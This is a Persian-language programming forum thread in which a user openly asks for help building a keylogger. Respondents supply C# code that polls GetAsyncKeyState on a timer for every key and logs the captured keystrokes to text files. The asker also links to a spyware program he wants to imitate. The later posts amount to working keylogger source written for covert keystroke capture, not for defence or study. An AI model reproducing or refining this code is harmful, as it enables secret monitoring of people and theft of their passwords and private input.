چگونه می توان کلیدهای کیبرد را حتی وقتی فوکوس روی برنامه ما نیست تشخیص داد مانند دیکشنری ها که مثلاً با CTRL+F12 فعال می شوند و یا Keylogger ها که کلیدهای فشرده شده را ثبت می کنند .
دقیقا من می خواهم یک Keylogger بسازم . لطفاً راهنمایی فرمایید .
چگونه می توان کلیدهای کیبرد را حتی وقتی فوکوس روی برنامه ما نیست تشخیص داد مانند دیکشنری ها که مثلاً با CTRL+F12 فعال می شوند و یا Keylogger ها که کلیدهای فشرده شده را ثبت می کنند .
دقیقا من می خواهم یک Keylogger بسازم . لطفاً راهنمایی فرمایید .
با سلام خدمت شما
با اینجــــــــــــا مراجعه نمائید
موفق باشین
بایت بایت
با سلام مجدد خدمت شما
میتونین از توابع API استفاده کنین تابع API برای استفاده شما GetAsyncKeyState در کتابخانه user32 میباشد.
به اینــــــــــجا , اینجـــــــا و اینجــــــــا نیز یه سری بزنین
موفق باشین
بایت بایت
در رویدادهای کی پرس
using System;
using System.Windows.Forms;
public class Form1: Form
{
public Form1()
{
// Create a TextBox control.
TextBox tb = new TextBox();
this.Controls.Add(tb);
tb.KeyPress += new KeyPressEventHandler(keypressed);
}
private void keypressed(Object o, KeyPressEventArgs e)
{
// The keypressed method uses the KeyChar property to check
// whether the ENTER key is pressed.
// If the ENTER key is pressed, the Handled property is set to true,
// to indicate the event is handled.
if (e.KeyChar == (char)Keys.Return)
{
e.Handled = true;
}
}
public static void Main()
{
Application.Run(new Form1());
}
}
// Boolean flag used to determine when a character other than a number is entered.
private bool nonNumberEntered = false;
// Handle the KeyDown event to determine the type of character entered into the control.
private void textBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
{
// Initialize the flag to false.
nonNumberEntered = false;
// Determine whether the keystroke is a number from the top of the keyboard.
if (e.KeyCode < Keys.D0 || e.KeyCode > Keys.D9)
{
// Determine whether the keystroke is a number from the keypad.
if (e.KeyCode < Keys.NumPad0 || e.KeyCode > Keys.NumPad9)
{
// Determine whether the keystroke is a backspace.
if(e.KeyCode != Keys.Back)
{
// A non-numerical keystroke was pressed.
// Set the flag to true and evaluate in KeyPress event.
nonNumberEntered = true;
}
}
}
}
// This event occurs after the KeyDown event and can be used to prevent
// characters from entering the control.
private void textBox1_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e)
{
// Check for the flag being set in the KeyDown event.
if (nonNumberEntered == true)
{
// Stop the character from being entered into the control since it is non-numerical.
e.Handled = true;
}
}
کی دون و کی آپ هم همینجور
با سلام مجدد
alexmcse عزیز ایشون یک کد میخوان بیرون از فرم و در صورت غیر فعال نبودن فرم نیز عمل کنه
aradrobo عزیز کد مدنظر شما اینه :
using System.Runtime.InteropServices;
namespace GetKey
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer = string.Empty;
private void Form1_Load(object sender, EventArgs e)
{
timer1.Enabled = true;
timer1.Interval = 3;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue)) )
{
keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
listBox1.Items.Clear();
listBox1.Items.Add(keyBuffer.ToString());
}
}
}
}
}
حالا هرکجا رویدادی اتفاق بیقته داخل لیست باکس نمایش داده میشه.
موفق باشین
بایت بایت
به جای تایمر از thread استفاده کنید لطفا
دقیقا ً من می خواهم برنامه زیر را که لینک دانلودش را برایتان می فرستم را بسازم . لطفاً بیشتر به من کمک کنید .
http://s1.picofile.com/file/7550151070/SpyEx.exe.html
http://s1.picofile.com/file/7550151070/SpyEx.exe.html
لطفاً اگر در این زمینه کار کرده اید مرا راهنمایی کنید . با تشکر
این کدی که شما دادین ، دقیقاً اگر فوکوس روی فرم هم نباشه عمل می کنه . ولی یک مشکل داره و اون اینکه شما هر بار دارین لیست باکس رو پاک می کنین . اگر من اینlistBox1.Items.Clear();
قسمت را حذف کنم . مشاهده می شه که وقتی یک حرف روی کیبرد را می زنم ، اون حرف چندین بار نمایش داده می شه .
لطفاً این مشکل را حل کنید . با تشکر
برنامه رو به صورت زیر هم نوشتم . ولی باز مشکل دارد . خودتون ببینید :
private void Form1_Load(object sender, EventArgs e)
{
timer1.Enabled = true;
timer1.Interval = 30;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue))
{
keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
File.AppendAllText(@"C:\\01.txt", keyBuffer.ToString() + "\n");
// listBox1.Items.Clear();
listBox1.Items.Add(keyBuffer.ToString());
// تشخیص حجم فایل
System.IO.FileInfo a = new System.IO.FileInfo(@"c:\01.txt");//a
if (a.Length == 1000)//b
{
MessageBox.Show("1 kb");
}
}
}
}
با سلام مجدد
using System.IO;
namespace GetKey
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer = string.Empty;
private void Form1_Load(object sender, EventArgs e)
{
textBox1.Text = "";
timer1.Interval = 500;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue))
{
StreamWriter Keylogger = new StreamWriter(@"d:\AppKeyLogger.txt", true, Encoding.Unicode);
keyBuffer = Enum.GetName(typeof(Keys), i) ;
textBox1.Text += keyBuffer;
Keylogger.Write(keyBuffer);
textBox1.SelectionStart = textBox1.TextLength;
Keylogger.Close();
}
}
}
}
}
موفق باشین
بایت بایت
لطفاً اگر کسی هست که می تونه به من کمک کنه در این قسمت منو راهنمایی کنه . خیلی ممنون .